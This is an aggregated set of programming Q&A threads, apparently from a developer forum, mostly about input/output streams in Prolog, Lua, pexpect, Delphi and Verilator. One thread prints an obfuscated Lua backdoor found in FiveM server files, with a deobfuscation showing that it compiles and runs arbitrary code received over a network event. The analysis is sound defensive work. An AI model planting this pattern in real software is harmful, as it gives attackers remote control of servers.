I'm writing a prolog program with an input loop. A good deal of the input is pre-scripted in a response file. I execute this as prolog < response.txt. When the response file has finished, I would like the program to continue through keyboard user input. However, when the response file finishes, it does not read/1 from the keyboard, but continues to read in an endless loop end_of_file as its input.
I want the program to revert to user typed input once the pipe has reached the end of the file. How do I do this?
Thanks in advance.
It is possible to interrogate and redirect your input stream.
Not sure which version of Prolog you're using, but SWI-Prolog has plenty of methods for redirecting your input stream.
If the input is from a keyboard, TTY will equal true:
current_input(Stream), stream_property(Stream, tty(TTY)).
If the input is from a file, Filename will each the name of the file input is currently read from:
current_input(Stream), stream_property(Stream, file_name(Filename)).
You can set the Stream to use as an input with the set_input/1 predicate:
{obtain a Stream handle}, set_input(Stream).
I hope you can build upon this, as I haven't yet figured out how you're supposed to ask for the keyboard input Stream.
You might have to determine which OS you're running on and set up different methods for each OS to set your input to the keyboard stream.
Related
So while looking at some server files (FiveM/GTA RP Server Files) my friend sent me, I found a line of code that was placed all over the Server's Resources, is it malicious?, since i checked "Hex to ASCII Text String Converter", it looks like it might be an attempt to inject some code into the Lua environment. The code creates a table with several strings that are encoded in hexadecimal format. These strings are then used to access elements in the global environment (_G) and call them as functions. The code also sets up an event listener for the "load" event, which could indicate that the code is intended to run when a specific event occurs in the environment.
Code:
local ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G}
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[1]
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6][ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[3]](ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[2],
function(BFWCBOOqrwrVwzdmKcQZBRMziBAgjQbWLfBPFXhZUzCWlOjKNLUGOYvDisfytJZwIDtHyn)
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[6]ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG[4]()
end)local
ASCII Text to Hex Code Converter
Image
ASCII Text to Hex Code Converter
Response 2
ysoGcfkdgEuFekRkklJGSmHogmpKPAiWgeIRhKENhusszjvprBCPXrRqVqLgSwDqVqOiBG is just a variable name. It's not a very nice one, but it is just a variable name.
{"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64"}
is the table:
{"RegisterNetEvent", "helpCode", "AddEventHandler", "assert", "load"}
with the bytes encoded as hex bytes rather than literal characters.
This deobfuscates to:
local funcs = {
"RegisterNetEvent",
"helpCode",
"AddEventHandler",
"assert",
"load",
_G
};
funcs[6][funcs[1]](funcs[2]);
funcs[6][funcs[3]](funcs[2], function(param)
(funcs[6][funcs[4]](funcs[6][funcs[5]](param)))();
end);
Tables in Lua are 1-indexed, so this further deobfuscates to
_G["RegisterNetEvent"]("helpCode");
_G["AddEventHandler"]("helpCode", function(param)
(_G["assert"](_G["load"](param)))();
end);
And could be simplified to
RegisterNetEvent("helpCode")
AddEventHandler("helpCode", function(param)
assert(load(param))()
end)
While it doesn't look blatantly malicious, it does appear to directly compile and invoke raw code received via the "helpCode" network event, which is certainly dangerous if it's used maliciously. It's possible that this is part of some funny dynamic plugin system, but it's equally possible that it's a backdoor designed to give a network attacker command-and-control over the process.
load is not an event, but the global function used to compile code from a string. The essentially causes the script to listen for a helpCode network event, receive whatever payload from the network event, compile it as Lua code, and execute it. Given that it doesn't even attempt to do any sandboxing of the load'd code, I wouldn't run this without a very comprehensive understanding of how it's being used.
I am learning how work with files in Lua, and I came across a problem.
I know that:
io.output() allows me to specify the file that I will write output to.
The io.write() function simply gets a number of string arguments and writes them to the current output file.
io.close() then closes the file I am reading or writing on.
I first set io.output() to "myNewFile.txt" then I did io.write("Hello World!").
io.output("myNewFile.txt")
io.write("Hello World!")
This part worked well and myNewFile.txt got Hello World written to it.
Then I wrote io.close() to close the myNewFile.txt.
After that, I wrote io.write("Hello World!"), but I got an error:
C:\\Program Files\\lua\\lua54.exe: ...OneDrive\\Documents\\learning lua\\steve's teacher\\main.lua:9: default output file is closed stack traceback: \[C\]: in function 'io.write' ...OneDrive\\Documents\\learning lua\\steve's teacher\\main.lua:9: in main chunk \[C\]: in ?
I wanted io.write("Hello World!") to write Hello World in the terminal. I know can use print() but print() function adds extra characters like \n and things like that.
So my question is, how do I write Hello World in the terminal using io.write("Hello World!") in this situation?
I tried to search this error up on Google, but there weren't any results. I also tried joining many Discord servers, but I didn't get a proper response. I am a new developer to Lua so this all is really confusing to me.
After io.close() do a io.output(io.stdout) to set it back.
The clean way
local oldout = io.output() -- without argument returns actual output
io.output("file") -- set to a filename
-- do file operations here
-- use io.flush() where it is necessary
io.close() -- close file also do a flush()
io.output(oldout) -- set back to oldout ( normally io.stdout )
-- changing io.output() back should also close() and flush() the "file"
-- But better doublecheck this when using userdata without experience
I am working on a pexpect script that is running populating an output file name and then a prompt for the file's parameters.
The program that the script runs asks for Device: then Parameters: always on the same line.... so if the file path-name that is entered for Device is long, sometimes the Parameters prompt wraps to the next line.
My code looks like..
child.expect_exact('Device:')
child.sendline('/umcfiles/ftp_dir/ftp_peoplesoft/discount/AES_DISCOUNT_15010.TXT')
child.expect_exact('Parameters:')
This times out.. and here is what is in child.before
' /umcfiles/ftp_dir/ftp_peoplesoft/discount/AES_DISCOUNT_15010.TXT Param\r\neters: "RWSN" => '
so the expect fails... (a child.expect('Parameters:') also fails)
How can I ignore the \r\n if it is there, because depending on the length of the path/filename I am using it may not be there at all, or be in a different position.
Thanks!
Actually... I found a way to calculate how much is left on the given line, and dynamically set my expect to how much of the Parameter prompt should be visible... seems to be working
#look for end of line and fix how much of 'Parameters:' we look for in pexpect
dlen = 80-len('Device: /umcfiles/ftp_dir/ftp_peoplesoft/discount/AES_DISCOUNT_15010.TXT')
pstr='Parameters:'
if dlen > len(pstr):
dlen=len(pstr)
else:
dlen=dlen-3 #remove the /r/n
child.expect(pstr[0:dlen])
I start using a TFileStream and TStreamWriter to write simple text logfiles (instead of old Writeln(T,....)). And I have multiple applicatiosn writing to the same logfile.
Each appplication has its own TFileStream of course and they each open the file like this
FFileStream:=TFileStream.Create(LogName, fmOpenReadWrite+fmShareDenyNone)
FExporter:=TStreamWriter.Create(FFilestream, TEncoding.UTF8);
FExporter.NewLine:=#$0A;
FExporter.AutoFlush:=TRUE;
and write to the file with
FExporter.BaseStream.Seek(0, soFromEnd);
FExporter.Write('['+DateToStr(Now, FDateTimeFormat)+'] ['+TimeToStr(Now, FDateTimeFormat)+'] [#'+Lead0(GetCurrentThreadId, 5)+']: '+EntryText);
FExporter.WriteLine;
the result is somewhat "unsatisfactory" as the lines are displaced, empty lines in between and does not seem to work.
HOW would I do that correctly?
Writing multiples lines at the same time in multiples process may result in unexpected continue, because parallels execution.
You should assure that you are writing a block continually so WriteLine shoud be send inside the write using lineBreak at the end.
So the way you can write should be:
FExporter.BaseStream.Seek(0, soFromEnd);
FExporter.Write('['+DateToStr(Now, FDateTimeFormat)+'] ['+TimeToStr(Now, FDateTimeFormat)+'] [#'+Lead0(GetCurrentThreadId, 5)+']: '+EntryText + System.slineBreak);
//FExporter.WriteLine;
Update1:
As the link Oliver posted, sometime it can not work if the message size to be written is bigger than the OS file sector and, at that very moment, other process also try to write a message. Thus in this case the result content might be mixed.
So doing what I first purpose you would increase the probability to have the desired result, but may not be the solution in 100% of the cases.
To be 100% sure of writing continuous log in a single file, using multiples process, you should create a log process to receive a message from the others and to be the only responsible for writing synchronized log throughout threads.
I am using Verilator to incorporate an algorithm written in SystemVerilog into an executable utility that manipulates I/O streams passed via stdin and stdout. Unfortunately, when I use the SystemVerilog $display() function, the output goes to stdout. I would like it to go to stderr so that stdout remains uncontaminated for my other purposes.
How can I make this happen?
Thanks to #toolic for pointing out the existence of $fdisplay(), which can be used thusly...
$fdisplay(STDERR,"hello world"); // also supports formatted arguments
IEEE Std 1800-2012 states that STDERR should be pre-opened, but it did not seem to be known to Verilator. A workaround for this is:
integer STDERR = 32'h8000_0002;
Alternatively, you can create a log file handle for use with $fdisplay() like so...
integer logfile;
initial begin
$system("echo 'initial at ['$(date)']'>>temp.log");
logfile = $fopen("temp.log","a"); // or open with "w" to start fresh
end
It might be nice if you could create a custom wrapper that works like $display but uses your selected file descriptor (without specifying it every time). Unfortunately, that doesn't seem to be possible within the language itself -- but maybe you can do it with the DPI, see DPI Display Functions (I haven't gotten this to work so far).